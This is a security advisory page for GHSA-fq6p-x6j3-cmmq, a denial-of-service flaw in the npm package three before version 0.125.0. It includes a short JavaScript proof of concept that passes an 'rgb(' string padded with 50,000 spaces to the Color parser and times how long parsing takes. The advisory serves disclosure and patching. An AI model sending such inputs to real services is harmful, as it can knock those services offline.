GHSA-fq6p-x6j3-cmmq

    Dashboard / Vulnerabilities / GHSA-fq6p-x6j3-cmmq

    GHSA-fq6p-x6j3-cmmq

    Published: 1 Mar 2021Last Modified: 8 Nov 2023

    Summary: Denial of service in three

    Details: This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. **PoC:** ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```

    Affected packages

    Package

    Name: three

    Purl: pkg:npm/three

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.125.0

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-fq6p-x6j3-cmmq | CVE-DB